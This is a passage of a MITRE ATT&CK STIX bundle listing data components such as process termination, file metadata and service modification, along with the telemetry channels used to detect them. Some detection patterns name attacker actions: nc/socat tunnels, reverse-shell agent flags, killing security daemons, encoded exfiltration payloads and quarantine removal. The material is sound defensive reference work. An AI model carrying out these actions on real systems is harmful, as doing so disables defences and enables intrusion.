                    "name": "macos:unifiedlog",
                    "channel": "Non-standard processes invoking financial applications or payment APIs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process exec of remote-control apps or binaries with headless/connect flags"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of launchctl unload, kill, or removal of security agent daemons"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process activity, exec events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream process subsystem"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process:exec and kext load events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --info --predicate 'eventMessage CONTAINS \"exec\"'"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-DotNETRuntime",
                    "channel": "Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of network stress tools or anomalies in socket/syscall behavior"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unsigned binary execution following SIP change"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond"
                },
                {
                    "name": "WinEventLog:AppLocker",
                    "channel": "EventCode=8003, 8004"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve, unlink"
                },
                {
                    "name": "macos:osquery",
                    "channel": "launchd, processes"
                },
                {
                    "name": "linux:osquery",
                    "channel": "socat, ssh, or nc processes opening unexpected ports"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution of ssh with -L/-R forwarding flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchd or cron spawning mining binaries"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve or socket/connect system calls for processes using RSA handshake"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs"
                },
                {
                    "name": "azure:vmguest",
                    "channel": "Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Script interpreter invoked by nginx/apache worker process"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of Office binaries with network activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launch of bash/zsh/python/osascript targeting key file locations"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of /sbin/emond with child processes launched"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Process",
                    "channel": "provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "shutdown -h now or reboot"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis"
                },
                {
                    "name": "OpenBSM:AuditTrail",
                    "channel": "BSM audit events for process execution and system call monitoring during reconnaissance"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "host daemon events related to VM operations and configuration queries during reconnaissance"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "VMware kernel events for hardware and system configuration access during environmental validation"
                },
                {
                    "name": "linux:osquery",
                    "channel": "processes modifying environment variables related to history logging"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: parent process is usb/hid device handler, child process bash/python invoked"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of curl, rclone, or Office apps invoking network sessions"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: Execution of kextstat, kextfind, or ioreg targeting driver information"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process creation involving binaries interacting with resource fork data"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process event"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of suspicious exploit binaries targeting security daemons"
                },
                {
                    "name": "macos:osquery",
                    "channel": "execve: Unsigned or unnotarized processes launched with high privileges"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "security OR injection attempts into 1Password OR LastPass"
                },
                {
                    "name": "AndroidLogs:Kernel",
                    "channel": "init or zygote process executing scripts or binaries from non-standard data or sdcard locations during early boot"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "launchd invocation of binary from non-Apple, non-AppStore, or sideloaded location during boot or shortly after unlock"
                },
                {
                    "name": "AndroidLogs:Framework",
                    "channel": "Creation of a new process running as system or root UID whose executable path resides under an app container path (for example, /data/app or /data/user/0/<pkg>), or whose parent process originates from an app sandbox"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "Creation of a new process with elevated UID or sensitive entitlements whose binary path is associated with an app container or whose parent/caller is a low-privileged app/webcontent process"
                },
                {
                    "name": "android:logcat",
                    "channel": "dlopen of a recently created .so OR short-lived child (/system/bin/sh,toybox,linker) spawned by app_process"
                },
                {
                    "name": "android:logcat",
                    "channel": "startActivity on top of <target_pkg> (launchMode/singleTop), task switch immediately after focus"
                },
                {
                    "name": "android:logcat",
                    "channel": "unexpected spikes in fork/exec/app process start events for helper utilities used for enumeration (ps, toybox/toolbox variants) from same UID"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application writes audio buffer or recorded audio file into application storage directories"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Browser or WebView-hosting application brought to foreground and navigates to external content, followed by abnormal state transition, crash, restart, or process spawn behavior"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application installed from adb, sideload, or unknown USB source"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application invokes Runtime.exec, ProcessBuilder, JNI-backed command launcher, or equivalent command-execution bridge immediately before shell or command process creation"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Managed app invokes lower-level OS process-launch or command-execution behavior before file or network effects, including interpreter-like execution flow where visible to sensor"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "application execution triggered with unexpected parent context or via indirect invocation (intent redirection or component hijack)"
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                },
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                    "name": "networkdevice:firmware",
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                },
                {
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                {
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                    "channel": "Process Events and Launch Daemons"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7045"
                },
                {
                    "name": "linux:osquery",
                    "channel": "newly registered unit file with ExecStart pointing to unknown binary"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "creation or loading of new launchd services"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4697"
                },
                {
                    "name": "linux:syslog",
                    "channel": "systemctl start/enable with uncommon binary paths"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7031, 7034"
                },
                {
                    "name": "macos:osquery",
                    "channel": "launch_daemons"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchd loading new LaunchDaemon or changes to existing daemon configuration"
                },
                {
                    "name": "macos:osquery",
                    "channel": "detection of new launch agents with suspicious paths or unsigned binaries"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "create"
                },
                {
                    "name": "containerLogs:systemd_unit_files",
                    "channel": "unit file referencing container binary with persistent flags"
                }
            ]
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            "description": "Cloud storage access refers to the retrieval or interaction with data stored in cloud infrastructure. This data component includes activities such as reading, downloading, or accessing files and objects within cloud storage systems. Common examples include API calls like GetObject in AWS S3, which retrieves objects from cloud buckets. Examples: \n\n- AWS S3 Access: An adversary uses the `GetObject` API to retrieve sensitive data from an AWS S3 bucket.\n- Azure Blob Storage Access: A user accesses a blob in Azure Storage using `Get Blob` or `Get Blob Properties`.\n- Google Cloud Storage Access: An adversary uses `storage.objects.get` to download objects from - OpenStack Swift Storage Access: A user retrieves an object from OpenStack Swift using the `GET` method.",
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                },
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                },
                {
                    "name": "m365:unified",
                    "channel": "Accessed SharePoint files or pages"
                },
                {
                    "name": "m365:unified",
                    "channel": "FileAccessed, FileDownloaded, ConsentGranted"
                },
                {
                    "name": "gcp:workspaceaudit",
                    "channel": "download, authorization_grant"
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                    "name": "m365:sharepoint",
                    "channel": "AnonymousLinkCreated, FileDownloaded"
                },
                {
                    "name": "m365:unified",
                    "channel": "App-only or delegated access patterns where client_id != known enterprise apps"
                },
                {
                    "name": "saas:github",
                    "channel": "Artifact generated includes base64/encoded exfil payload or URL"
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            "name": "Cloud Storage Creation",
            "description": "Cloud Storage Creation refers to the initial creation of a new cloud storage resource, such as buckets, containers, or directories, within a cloud environment. This action is critical to track as it might indicate the legitimate provisioning of resources or unauthorized actions taken by adversaries to stage, store, or exfiltrate data. Examples: \n\n- AWS S3 Bucket Creation: An AWS user creates a new S3 bucket using the `CreateBucket` API call.\n- Azure Blob Storage Container Creation: A user creates a new container in Azure Blob Storage using the `Create Container` operation.\n- Google Cloud Storage Bucket Creation: A Google Cloud user creates a new bucket using `storage.buckets.create`.\n- OpenStack Swift Container Creation: A user creates a new container in OpenStack Swift using the `PUT` method.",
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            "description": "Changes to AD objects (e.g., users, groups, OUs) are logged as Event ID 5136 (Object Modification) or 5163 (Attribute Changes). Examples:\n\n- User Account: Modifying attributes (e.g., group membership, enabling/disabling accounts).\n- Group Membership: Adding/removing members.\n- OU: Changing properties/permissions (e.g., delegation).\n- Service Account: Modifying SPNs or other attributes.\n- Object Attributes: Changes to passwords, logon hours, or control flags.",
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                },
                {
                    "name": "WinEventLog:Security",
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                    "name": "WinEventLog:Security",
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                    "name": "azure:signinlogs",
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                    "name": "m365:dirsync",
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                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-AppPassword, Add-MailboxPermission"
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                    "name": "m365:unified",
                    "channel": "Add app role assignment grant to user: Consent to application by privileged or unexpected accounts"
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            "description": "Object access refers to activities where AD objects (e.g., user accounts, groups, policies) are accessed or queried. Example: Windows Event ID 4661 logs object access attempts. Examples:\n\n- Attribute Access: e.g., `userPassword`, `memberOf`, `securityDescriptor`.\n- Group Enumeration: Enumerating critical group members (e.g., Domain Admins).\n- User Attributes: Commonly accessed attributes like `samAccountName`, `lastLogonTimestamp`.\n- Policy Access: Accessing GPOs to understand security settings.\n\n*Data Collection Measures:*\n\n- Audit Policies:\n    - Enable \"Audit Directory Service Access\" under Advanced Audit Policies (Success and Failure).\n    - Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Object AccessEnable: Audit Directory Service Access` (Success and Failure).\n    - Captured Events: IDs 4661, 4662.\n- Event Forwarding: Use WEF to centralize logs for SIEM analysis.\n- SIEM Integration: Collect and parse logs (e.g., 4661, 4662) using tools like Splunk or Azure Sentinel.\n- Log Filtering:\n- Focus on sensitive objects/attributes like:\n    - `Domain Admins` group.\n    - `userPassword`, `ntSecurityDescriptor`.\n- Enable EDR Monitoring:\n    - Detect processes accessing sensitive AD objects (e.g., samAccountName, securityDescriptor).\n    - Log all attempts to enumerate critical groups (e.g., \"Domain Admins\").",
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            "name": "Web Credential Creation",
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            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "WinEventLog:ADFS",
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                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AssumeRole, GetFederationToken API calls by unusual or new entities"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "SAML/OIDC tokens issued without corresponding MFA or password validation"
                },
                {
                    "name": "m365:unified",
                    "channel": "Session creation without MFA or login event"
                },
                {
                    "name": "m365:oauth",
                    "channel": "OAuth grants or tokens issued without expected user consent"
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        },
        {
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            "modified": "2025-10-21T15:14:37.615Z",
            "name": "Container Start",
            "description": "\"Container Start\" data component captures events related to the activation or invocation of a container within a containerized environment. This includes starting a previously stopped container, restarting an existing container, or initializing a container for runtime. Monitoring these activities is critical for identifying unauthorized or unexpected container activations, which may indicate potential adversarial activity or misconfigurations. Examples: \n\n- Docker Example: `docker start <container_name>`, `docker restart <container_name>`\n- Kubernetes Example: Kubernetes automatically restarts containers as part of pod lifecycle management (e.g., due to health checks or configuration changes).\n- Cloud-Native Example\n    - AWS ECS: API Call: StartTask to activate a stopped ECS task.\n    - Azure Container Instances: Command to restart a container group instance.\n    - GCP Kubernetes Engine: Automatic restarts as part of node or pod management.\n\nThis data component can be collected through the following measures:\n\n- Docker Audit Logging: Enable Docker logging to capture start and restart events. Use tools like auditd to monitor terminal activity involving container lifecycle commands.\n- Kubernetes Audit Logs: Enable Kubernetes API server audit logging.\n- Cloud Provider Logs\n    - AWS CloudTrail: Capture StartTask or related API calls for ECS.\n    - Azure Monitor: Track activity in container groups that indicate start or restart events.\n    - GCP Cloud Logging: Record logs related to pod restarts or scaling events in Kubernetes Engine.\n- SIEM Integration: Collect logs from Docker, Kubernetes, and cloud services to correlate container start events.",
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                    "name": "docker:events",
                    "channel": "exec_create: docker exec events targeting running containers from non-CI sources"
                },
                {
                    "name": "kubernetes:events",
                    "channel": "start: ContainerStarted or Pulling image \u2192 Started container"
                },
                {
                    "name": "containerd:runtime",
                    "channel": "CRI CreateContainer/StartContainer with privileged=true OR added capabilities OR host* namespaces"
                },
                {
                    "name": "docker:events",
                    "channel": "start"
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            "description": "The exit or termination of a running process on a system. This can occur due to normal operations, user-initiated commands, or malicious actions such as process termination by malware to disable security controls.",
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            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                    "name": "Process",
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                },
                {
                    "name": "linux:syslog",
                    "channel": "Unexpected termination of daemons or critical services not aligned with admin change tickets"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_termination: Unexpected termination of processes tied to vulnerable or high-value services"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Log entries indicating VM powered off or forcibly terminated"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Terminal process killed (killall Terminal) immediately after sudoers modification"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "exit_group"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process.*exit.*code"
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                {
                    "name": "linux:osquery",
                    "channel": "unexpected termination of syslog or rsyslog processes"
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                {
                    "name": "auditd:SYSCALL",
                    "channel": "Process segfault or abnormal termination after invoking vulnerable syscall sequence"
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                {
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                {
                    "name": "macos:unifiedlog",
                    "channel": "Termination of syspolicyd or XProtect processes"
                },
                {
                    "name": "docker:runtime",
                    "channel": "Termination of monitoring sidecar or security container"
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            "modified": "2026-05-12T15:12:00.774Z",
            "name": "File Metadata",
            "description": "contextual information about a file, including attributes such as the file's name, size, type, content (e.g., signatures, headers, media), user/owner, permissions, timestamps, and other related properties. File metadata provides insights into a file's characteristics and can be used to detect malicious activity, unauthorized modifications, or other anomalies. Examples: \n\n- File Ownership and Permissions: Checking the owner and permissions of a critical configuration file like /etc/passwd on Linux or C:\\Windows\\System32\\config\\SAM on Windows.\n- Timestamps: Analyzing the creation, modification, and access timestamps of a file.\n- File Content and Signatures: Extracting the headers of an executable file to verify its signature or detect packing/obfuscation.\n- File Attributes: Analyzing attributes like hidden, system, or read-only flags in Windows.\n- File Hashes: Generating MD5, SHA-1, or SHA-256 hashes of files to compare against threat intelligence feeds.\n- File Location: Monitoring files located in unusual directories or paths, such as temporary or user folders.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                "enterprise-attack",
                "mobile-attack"
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            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "auditd:SYSCALL",
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                {
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                },
                {
                    "name": "auditd:CONFIG_CHANGE",
                    "channel": "chmod or chown of hook files indicating privilege escalation or execution permission change"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "file path matches exclusion directories"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "PATH"
                },
                {
                    "name": "auditd:PATH",
                    "channel": "file path modifications on critical system directories (/etc, /usr/bin, /usr/sbin, /var, /opt)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "PATH"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "file write after sleep delay"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, setxattr, lsetxattr, fsetxattr)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "setuid or setgid bit changes"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "syscall in (chmod, fchmod, fchmodat, chown, fchown, fchownat, lchown, setxattr, lsetxattr, fsetxattr, removexattr, lremovexattr, fremovexattr)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "setxattr or getxattr system call"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chmod, chown, setxattr, or file writes to /etc/ssl/* or /usr/local/share/ca-certificates/*"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "Unexpected container volume unmount + file deletion"
                },
                {
                    "name": "EDR:detection",
                    "channel": "App reputation telemetry"
                },
                {
                    "name": "EDR:file",
                    "channel": "File Metadata Inspection (Low String Entropy, Missing PDB)"
                },
                {
                    "name": "EDR:file",
                    "channel": "File Metadata Analysis (PE overlays, entropy)"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "host daemon events related to file or VM permission changes"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "Datastore file hidden or renamed unexpectedly"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Upload of file to datastore"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Storage access and file ops"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "VMware kernel events for file system permission modifications"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Datastore modification events"
                },
                {
                    "name": "File",
                    "channel": "None"
                },
                {
                    "name": "fs:fileevents",
                    "channel": "/var/log/install.log"
                },
                {
                    "name": "fs:filesystem",
                    "channel": "Binary file hash changes outside of update/patch cycles"
                },
                {
                    "name": "fs:fsevents",
                    "channel": "file system events indicating permission or attribute changes"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "filesystem monitoring of exec/open"
                },
                {
                    "name": "fwupd:logs",
                    "channel": "Firmware updates applied or failed"
                },
                {
                    "name": "gatekeeper/quarantine database",
                    "channel": "LaunchServices quarantine"
                },
                {
                    "name": "journald:package",
                    "channel": "dpkg/apt or yum/dnf transaction logs (install/update of build tools)"
                },
                {
                    "name": "journald:package",
                    "channel": "dpkg/apt/yum/dnf transaction logs; vendor updaters in systemd journals"
                },
                {
                    "name": "journald:package",
                    "channel": "dpkg/apt install, remove, upgrade events"
                },
                {
                    "name": "journald:package",
                    "channel": "yum/dnf install or update transactions"
                },
                {
                    "name": "linux:osquery",
                    "channel": "event-based"
                },
                {
                    "name": "linux:osquery",
                    "channel": "file_events, hash"
                },
                {
                    "name": "linux:osquery",
                    "channel": "hash, elf_info, file_metadata"
                },
                {
                    "name": "linux:osquery",
                    "channel": "file_events"
                },
                {
                    "name": "linux:osquery",
                    "channel": "elf_info, hash, yara_matches"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Read headers and detect MIME type mismatch"
                },
                {
                    "name": "linux:osquery",
                    "channel": "file_events.path"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Filesystem modifications to trusted paths"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Write or modify .desktop file in XDG autostart path"
                },
                {
                    "name": "linux:osquery",
                    "channel": "hash, rpm_packages, deb_packages, file_events"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp"
                },
                {
                    "name": "linux:syslog",
                    "channel": "application or system execution logs"
                },
                {
                    "name": "linux:syslog",
                    "channel": "file permission modification events in kernel messages"
                },
                {
                    "name": "linux:syslog",
                    "channel": "kernel messages related to file system permission changes and security violations"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_file_rename_t or es_event_file_write_t"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_authentication"
                },
                {
                    "name": "macos:osquery",
                    "channel": "code_signing, file_metadata"
                },
                {
                    "name": "macos:osquery",
                    "channel": "file_events"
                },
                {
                    "name": "macos:osquery",
                    "channel": "mach_o_info, file_metadata"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "softwareupdated/homebrew/install logs, pkginstalld events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "AMFI or Gatekeeper signature/notarization failures for newly installed dev components"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Detection of altered _VBA_PROJECT or PerformanceCache streams"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem:syspolicyd"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File metadata updated with UF_HIDDEN flag"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Code signature validation fails or is absent post-binary modification"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Code signing verification failures or bypassed trust decisions"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Creation of new LaunchAgent or LoginItem plist files in ~/Library/LaunchAgents/"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "filesystem events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "xattr -d com.apple.quarantine or similar attribute removal commands"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Gatekeeper quarantine policy decision anomalies recorded in com.apple.LaunchServices.QuarantineEventsV2"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "pkginstalld/softwareupdated/Homebrew install transactions"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "AMFI/Gatekeeper code signature or notarization failures"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "kernel extension and system extension logs related to file system security violations or SIP bypass attempts"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected application binary modifications or altered signing status"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "extended attribute write or modification"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "New certificate trust settings added by unexpected process"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem=com.apple.lsd"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Gatekeeper/AMFI 'code signature invalid' / 'not notarized' messages"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "File creation or modification with com.apple.ResourceFork extended attribute"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "OS version query results inconsistent with expected or approved version list"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Observed File Transfers"
                },
                {
                    "name": "OpenBSM:AuditTrail",
                    "channel": "BSM audit events for file permission modifications"
                },
                {
                    "name": "OpenBSM:AuditTrail",
                    "channel": "BSM audit events for file permission, ownership, and attribute modifications with user context"
                },
                {
                    "name": "saas:RepoEvents",
                    "channel": "New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "Invalid/Unsigned image when developer tool launches newly installed binaries"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "Unsigned or invalid image for newly installed/updated binaries"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "Code integrity violations in boot-start drivers or firmware"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational",
                    "channel": "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Windows Defender/Operational",
                    "channel": "SmartScreen or ASR blocks on newly downloaded installer/updater"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4656, 4658"
                },
                {
                    "name": "WinEventLog:Setup",
                    "channel": "MSI/Product install, repair or update events"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=15"
                },
                {
                    "name": "WinEventLog:Windows Defender",
                    "channel": "Operational log"
                },
                {
                    "name": "WinEventLog:Windows Defender",
                    "channel": "Operational"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0065",
                    "external_id": "DC0065"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.774Z",
            "name": "Service Modification",
            "description": "Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "esxi:hostd",
                    "channel": "service state change"
                },
                {
                    "name": "Service",
                    "channel": "None"
                },
                {
                    "name": "WinEventLog:Microsoft-IIS-Configuration",
                    "channel": "Module or ISAPI filter registration events"
                },
                {
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7040"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--672b2ebd-4310-4efe-bf03-7ab005298a74",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0030",
                    "external_id": "DC0030"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Pod Modification",
            "description": "Changes made to a pod\u2019s configuration or control data within a containerized cluster. This can include updating settings such as resource limits, environment variables, annotations, labels, or even the containers running within the pod. Pod modifications are often executed using commands like kubectl set, kubectl patch, or kubectl edit.\n\n*Data Collection Measures:* \n\n- Kubernetes API Server Audit Logs:\n    - Capture all API calls related to pod modification, such as PATCH, PUT, or UPDATE methods on v1/pods.\n- Runtime Security Tools:\n    - Tools like Falco, Sysdig, and Kube-bench can monitor pod modifications at runtime and alert on policy violations.\n- Container Orchestration Logs:\n    - Monitor events logged by Kubernetes itself (e.g., `kubectl logs -n kube-system kube-controller-manager`).\n- SIEM and EDR Solutions:\n    - Use SIEM platforms (e.g., Splunk) to aggregate API server logs and detect patterns of unauthorized or suspicious pod modifications.\n    - Endpoint Detection and Response (EDR) tools configured with container visibility can monitor commands like `kubectl` set or `kubectl patch`.\n- Host-Based Monitoring:\n    - Collect and analyze logs for processes executing `kubectl` commands or interacting with Kubernetes configuration files (e.g., `.kube/config`).",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0"
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0064",
                    "external_id": "DC0064"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.774Z",
            "name": "Command Execution",
